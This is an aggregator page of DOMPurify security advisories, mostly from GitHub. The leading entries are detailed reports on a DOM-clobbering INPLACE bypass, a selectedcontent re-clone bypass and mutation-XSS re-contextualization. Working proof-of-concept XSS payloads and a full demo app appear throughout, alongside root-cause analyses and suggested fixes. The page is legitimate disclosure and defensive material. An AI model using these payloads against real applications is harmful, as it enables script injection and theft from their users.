[BYPASS] name="nodeName" → <form onmouseover="…"><input></form> [BYPASS] name="setAttribute" → <form onmouseover="…"><input></form> [BYPASS] name="namespaceURI" → <form onmouseover="…"><input></form> [BYPASS] name="insertBefore" → <form onmouseover="…"><input></form> [BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form> [BYPASS] name="childNodes" → <form onmouseover="…"><input></form>

This makes the fix less of a one-line patch — every property isClobbered checks for the typeof-spoofing pattern needs to be considered.

Impact

Direct

Two distinct impact paths from the same root-attribute-survival primitive:

(a) XSS via event-handler attribute on the surviving root. Any consumer that uses DOMPurify.sanitize(node, { INPLACE: true }) where node originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:

js const t = document.createElement('template'); t.innerHTML = untrustedHtml; DOMPurify.sanitize(t.content.firstElementChild, { INPLACE: true }); container.appendChild(t.content.firstElementChild);

If untrustedHtml is <form onmouseover=…><input name=nodeName>…</form>, the resulting node has the onmouseover attribute intact when re-inserted into the live document.

(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The sanitizeAttributes early-return at :1490 skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:

- action="javascript:..." and formaction="javascript:..." — URI validation at :1413 never runs. A user click on a submit button inside the sanitized form navigates to the javascript: URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented. - id="<colliding-name>" — the DOM-clobbering guard at :1352-1359 (SANITIZEDOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) lives inside sanitizeAttributes and is skipped. An attacker can therefore land id="cookie", id="body", id="head", id="firstChild", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does document.cookie, document.body, etc. - target="top", autofocus, formenctype, formmethod — all survive untouched. - Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd oncontentvisibilityautostatechange) survive on the clobbered root via the same skip; the per-name allow-list at :1361-1364 never runs.

Verified — full attribute set survives on a single payload (PoC):

js const root = document.createElement('form'); root.setAttribute('action', 'javascript:alert(1)'); root.setAttribute('target', 'top'); root.setAttribute('onclick', 'alert(2)'); root.setAttribute('onmouseover', 'alert(3)'); root.setAttribute('autofocus', ''); root.setAttribute('formaction', 'javascript:alert(4)'); root.setAttribute('id', 'cookie'); // DOM-clobbering primitive root.innerHTML += '<input name="nodeName">'; DOMPurify.sanitize(root, { INPLACE: true }); console.log(root.outerHTML); // <form action="javascript:alert(1)" target="top" onclick="alert(2)" // onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)" // id="cookie"><input></form>

(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky. Chromium's HTMLFormElement named-property cache appears to retain the named child reference even after the child's name attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's name="nodeName" attribute is correctly stripped (the output shows <input> with no attributes), yet typeof form.nodeName === 'object' is still true and the input element is still returned. Calling DOMPurify.sanitize(sameNode, { INPLACE: true }) a second time hits the same isClobbered → forceRemove → sanitizeAttributes early-return path. The only effective recovery is serialize-then-reparse:

js const root = parseAttackerHtml(); // form with input name="nodeName" child DOMPurify.sanitize(root, { INPLACE: true }); // bypass: attrs survive DOMPurify.sanitize(root, { INPLACE: true }); // STILL bypassed: attrs survive const recovered = (() => { const t = document.createElement('template'); t.innerHTML = root.outerHTML; // forces a fresh parse const r = t.content.firstElementChild; DOMPurify.sanitize(r, { INPLACE: true }); return r; })(); // recovered.outerHTML === '<form><input></form>' ← finally clean

A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.

(d) SAFEFORTEMPLATES bypass for the root's attributes. When the caller sets SAFEFORTEMPLATES: true to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving {{…}} / <%…%> / ${…} syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same sanitizeAttributes pass that early-returns on clobbered roots (:1572-1576). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.

Verified — same PoC structure, with SAFEFORTEMPLATES: true:

js const root = document.createElement('form'); root.setAttribute('title', '{{evil}}'); root.setAttribute('onmouseover', 'window.x=1'); const c = document.createElement('input'); c.setAttribute('name', 'nodeName'); root.appendChild(c);

DOMPurify.sanitize(root, { INPLACE: true, SAFEFORTEMPLATES: true });

console.log(root.outerHTML); // <form title="{{evil}}" onmouseover="window.x=1"><input></form> // ^^^^^^^^^^^^^^^^ template syntax survives

This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).

(Text-node content inside the form is still scrubbed correctly — scrubTemplateExpressions at :1868-1870 walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)

Indirect / second-order

- DOM-based template systems / editors that wrap DOMPurify with an INPLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML). - Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons. - Frameworks that hand DOMPurify a node tree rather than a string — including, indirectly, any code path that does el.innerHTML = …; DOMPurify.sanitize(el, { INPLACE: true }). The outer el is fine (it's not the form), but if the first child of el is taken as the sanitization root in a different code path, the bypass triggers.

Why current main is also vulnerable

Commit 89da34e ("fix: fixed a possible DOM clobbering with INPLACE and shadow DOM") hardens sanitizeAttachedShadowRoots via three new cached prototype getters (getShadowRoot, getNodeName, getNodeType) and an isClobbered extension that checks element.childNodes.length. The fix is correct for its scope — shadow-root traversal — but does not change forceRemove's parent-less-node behavior or sanitizeAttributes's clobber-skip early-return. The bypass demonstrated here is in the INPLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD 89da34e and still succeeds.

Suggested fix

Two minimal-risk options:

1. Make forceRemove honest about failure: return whether the node was actually detached, and have the iterator call site honor that.

ts const forceRemove = function (node: Node): boolean { arrayPush(DOMPurify.removed, { element: node }); try { getParentNode(node).removeChild(node); return true; } catch () { try { remove(node); } catch () {} return node.parentNode === null && / but still attached to itself / false; } }; Then at :1855, if sanitizeElements returns true AND INPLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.)

2. Strip attributes inside sanitizeAttributes for clobbered roots: when isClobbered(currentNode) is true at :1490, instead of early-returning, iterate currentNode.attributes (using the cached getAttributes if you add one) and remove each via removeAttribute. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.

3. Refuse INPLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not isClobbered. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe."

Note on callable elements

In Chromium and WebKit, HTMLEmbedElement, HTMLAppletElement, HTMLIFrameElement, and HTMLScriptElement have typeof === 'function' because they expose plugin/iframe [[Call]] traps at the WebIDL level. A name="setAttribute" child of one of these tags spoofs the setAttribute typeof === 'function' check — but only matters for the attribute re-set path at :1619, not the bypass demonstrated here (which uses nodeName and friends). The callable-element vector is worth checking separately as a potential SAFEFORTEMPLATES-bypass primitive; the present report does not depend on it.

1 / 3
Source: GitHub
First published (updated )
Severity
8.2
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Summary DOMPurify 3.4.4 allows selectedcontent by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.

Details The chain is as follows: 1. The browser parses the input and creates a <selectedcontent> clone from the selected <option> 2. DOMPurify walks and sanitizes that generated clone. 3. DOMPurify reaches the original <option> and removes selected=javascript:1 4. The browser refreshes the <selectedcontent> clone from the original option's content. 5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize 6. The returned string contains unsanitized markup inside <selectedcontent>.

PoC js const dirty = '<select><button><selectedcontent></selectedcontent></button>' + '<option selected=javascript:1>' + '<img src=x onerror=alert(1)>x' + '</option></select>';

const clean = DOMPurify.sanitize(dirty); console.log(clean);

document.body.innerHTML = clean;

Observed "sanitized" output in Chromium 148/WebKit 625: html <select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select>

After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the onerror has already fired: html <select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select>

Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with browser support for selectedcontent.

Impact This is a default-configuration DOMPurify sanitizer bypass resulting in XSS.

Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.

1 / 2
Source: GitHub
First published (updated )
Severity
6
XSS
AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBIDTAGS and FORBIDATTR handling when function-based ADDTAGS is used. Commit c361baa added an early exit for FORBIDATTR at line 1214. The same fix was not applied to FORBIDTAGS. At line 1118-1123, when EXTRAELEMENTHANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBIDTAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

1 / 2
Source: NVD
First published (updated )
Severity
5.1
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary In src/purify.ts:1117-1123, ADDTAGS as a function (via EXTRAELEMENTHANDLING.tagCheck) bypasses FORBIDTAGS due to short-circuit evaluation.

The condition: !(tagCheck(tagName)) && (!ALLOWEDTAGS[tagName] || FORBIDTAGS[tagName]) When tagCheck(tagName) returns true, the entire condition is false and the element is kept — FORBIDTAGS[tagName] is never evaluated.

Inconsistency This contradicts the attribute-side pattern at line 1214 where FORBIDATTR explicitly wins first: if (FORBIDATTR[lcName]) { continue; } For tags, FORBID should also take precedence over ADD.

Impact Applications using both ADDTAGS as a function and FORBIDTAGS simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix Check FORBIDTAGS before tagCheck: if (FORBIDTAGS[tagName]) { / remove / } else if (tagCheck(tagName) || ALLOWEDTAGS[tagName]) { / keep / }

Affected Version v3.3.3 (commit 883ac15)

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary DOMPurify allows ADDATTR to be provided as a predicate function via EXTRAELEMENTHANDLING.attributeCheck. When the predicate returns true, isValidAttribute short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as <a href="javascript:alert(document.domain)"> and have the javascript: URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts href for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.

Impact Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as javascript: to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits Identified by Cantina’s Apex (https://www.cantina.security).

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary When USEPROFILES is enabled, DOMPurify rebuilds ALLOWEDATTR as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via ALLOWEDATTR[lcName], any Array.prototype property that is polluted also counts as an allowlisted attribute. An attacker who can set Array.prototype.onclick = true (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as onclick even when they are normally forbidden. The provided PoC sanitizes <img onclick=...> with USEPROFILES and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

Impact Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

Credits Identified by Cantina’s Apex (https://www.cantina.security).

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
XSS
AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

1. Start the PoC app: bash npm install npm start

2. Open http://localhost:3001. 3. Set Wrapper en sink to xmp. 4. Use payload: html <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">

5. Click Sanitize + Render. 6. Observe: - Sanitized response still contains the </xmp> sequence inside alt. - The sink reparses to include <img src="x" onerror="alert('expoc')">. - alert('expoc') is triggered. 7. Files: - index.html

html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>expoc - DOMPurify SSR PoC</title> <style> :root { --bg: #f7f8fb; --panel: #ffffff; --line: #d8dce6; --text: #0f172a; --muted: #475569; --accent: #0ea5e9; }

{ box-sizing: border-box; }

body { margin: 0; font-family: "SF Mono", Menlo, Consolas, monospace; color: var(--text); background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%); }

main { max-width: 980px; margin: 28px auto; padding: 0 16px 20px; }

h1 { margin: 0 0 10px; font-size: 1.45rem; }

p { margin: 0; color: var(--muted); }

.grid { display: grid; gap: 14px; margin-top: 16px; }

.card { background: var(--panel); border: 1px solid var(--line); border-radius: 12px; padding: 14px; }

label { display: block; margin-bottom: 7px; font-size: 0.85rem; color: var(--muted); }

textarea, input, select, button { width: 100%; border: 1px solid var(--line); border-radius: 8px; padding: 9px 10px; font: inherit; background: #fff; }

textarea { min-height: 110px; resize: vertical; }

.row { display: grid; grid-template-columns: 1fr 230px; gap: 12px; }

button { cursor: pointer; background: var(--accent); color: #fff; border-color: #0284c7; }

#sink { min-height: 90px; border: 1px dashed #94a3b8; border-radius: 8px; padding: 10px; background: #f8fafc; }

pre { margin: 0; white-space: pre-wrap; word-break: break-word; }

.note { margin-top: 8px; font-size: 0.85rem; }

.status-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 8px; margin-top: 10px; }

.status-item { border: 1px solid var(--line); border-radius: 8px; padding: 8px 10px; font-size: 0.85rem; background: #fff; }

.status-item.vuln { border-color: #ef4444; background: #fef2f2; }

.status-item.safe { border-color: #22c55e; background: #f0fdf4; }

@media (max-width: 760px) { .row { grid-template-columns: 1fr; } } </style> </head> <body> <main> <h1>expoc - DOMPurify Server-Side PoC</h1> <p> Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML. </p>

<div class="grid"> <section class="card"> <label for="payload">Payload</label> <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea> <div class="row" style="margin-top: 10px;"> <div> <label for="wrapper">Wrapper en sink</label> <select id="wrapper"> <option value="div">div</option> <option value="textarea">textarea</option> <option value="title">title</option> <option value="style">style</option> <option value="script" selected>script</option> <option value="xmp">xmp</option> <option value="iframe">iframe</option> <option value="noembed">noembed</option> <option value="noframes">noframes</option> <option value="noscript">noscript</option> </select> </div> <div style="display:flex;align-items:end;"> <button id="run" type="button">Sanitize + Render</button> </div> </div> <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p> <div class="status-grid"> <div class="status-item vuln">script (vulnerable)</div> <div class="status-item vuln">xmp (vulnerable)</div> <div class="status-item vuln">iframe (vulnerable)</div> <div class="status-item vuln">noembed (vulnerable)</div> <div class="status-item vuln">noframes (vulnerable)</div> <div class="status-item vuln">noscript (vulnerable)</div> <div class="status-item safe">div (no vulnerable)</div> <div class="status-item safe">textarea (no vulnerable)</div> <div class="status-item safe">title (no vulnerable)</div> <div class="status-item safe">style (no vulnerable)</div> </div> </section>

<section class="card"> <label>Sanitized response</label> <pre id="sanitized">(empty)</pre> </section>

<section class="card"> <label>Sink</label> <div id="sink"></div> </section> </div> </main>

<script> const payload = document.getElementById('payload'); const wrapper = document.getElementById('wrapper'); const run = document.getElementById('run'); const sanitizedNode = document.getElementById('sanitized'); const sink = document.getElementById('sink');

run.addEventListener('click', async () => { const response = await fetch('/sanitize', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ input: payload.value }) });

const data = await response.json(); const sanitized = data.sanitized || ''; const w = wrapper.value;

sanitizedNode.textContent = sanitized; sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>'; }); </script> </body> </html>

- server.js

js const express = require('express'); const path = require('path'); const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify');

const app = express(); const port = process.env.PORT || 3001;

const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window);

app.use(express.json()); app.use(express.static(path.join(dirname, 'public')));

app.get('/health', (req, res) => { res.json({ ok: true, service: 'expoc' }); });

app.post('/sanitize', (req, res) => { const input = typeof req.body?.input === 'string' ? req.body.input : ''; const sanitized = DOMPurify.sanitize(input); res.json({ sanitized }); });

app.listen(port, () => { console.log(expoc running at http://localhost:${port}); });

- package.json

json { "name": "expoc", "version": "1.0.0", "main": "server.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "start": "node server.js", "dev": "node server.js" }, "keywords": [], "author": "", "license": "ISC", "description": "", "dependencies": { "dompurify": "^3.3.1", "express": "^5.2.1", "jsdom": "^28.1.0" } }

Evidence

- PoC

daft-video.webm

- XSS triggered <img width="2746" height="1588" alt="daft-img" src="https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15" />

Why This Happens This is a mutation-XSS pattern caused by a parse-context mismatch:

- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules. - Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior). - Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance 1. Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML. 2. Keep the rendering context stable from sanitize to sink. 3. Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition. 4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.). 5. Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFEFORXML regex. Attackers can include closing rawtext tags like /textarea in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

1 / 2
Source: IBM
First published (updated )
Severity
5.3
XSS
AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFEFORXML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

1 / 3
Source: Ubuntu
First published (updated )
Severity
6.1
EPSS
0.07%
XSS
AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFEFORTEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.07%
XSS
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

DOMPurify could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a prototype pollution. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system.

1 / 3
Source: IBM
First published (updated )
Severity
10
XSS
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H

DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. DOMpurify was vulnerable to nesting-based mXSS. This vulnerability is fixed in 2.5.0 and 3.1.3.

1 / 3
Source: NVD
First published (updated )
Severity
7.3
XSS
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L

DOMPurify could allow a remote attacker to execute arbitrary code on the system, caused by a prototype pollution flaw in depth check. By adding or modifying properties of Object.prototype using a proto or constructor payload, an attacker could exploit this vulnerability to execute arbitrary code or cause a denial of service condition on the system.

1 / 3
Source: IBM
First published (updated )
Severity
6.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

DOMPurify before 1.0.11 allows reverse tabnabbing in demos/hooks-target-blank-demo.html because links lack a 'rel="noopener noreferrer"' attribute.

First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Cure53 DOMPurify before 2.0.17 allows mutation XSS. This occurs because a serialize-parse roundtrip does not necessarily return the original DOM tree, and a namespace can change from HTML to MathML, as demonstrated by nesting of FORM elements.

First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

DOMPurify before 2.0.1 allows XSS because of innerHTML mutation XSS (mXSS) for an SVG element or a MATH element, as demonstrated by Chrome and Safari.

1 / 3
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203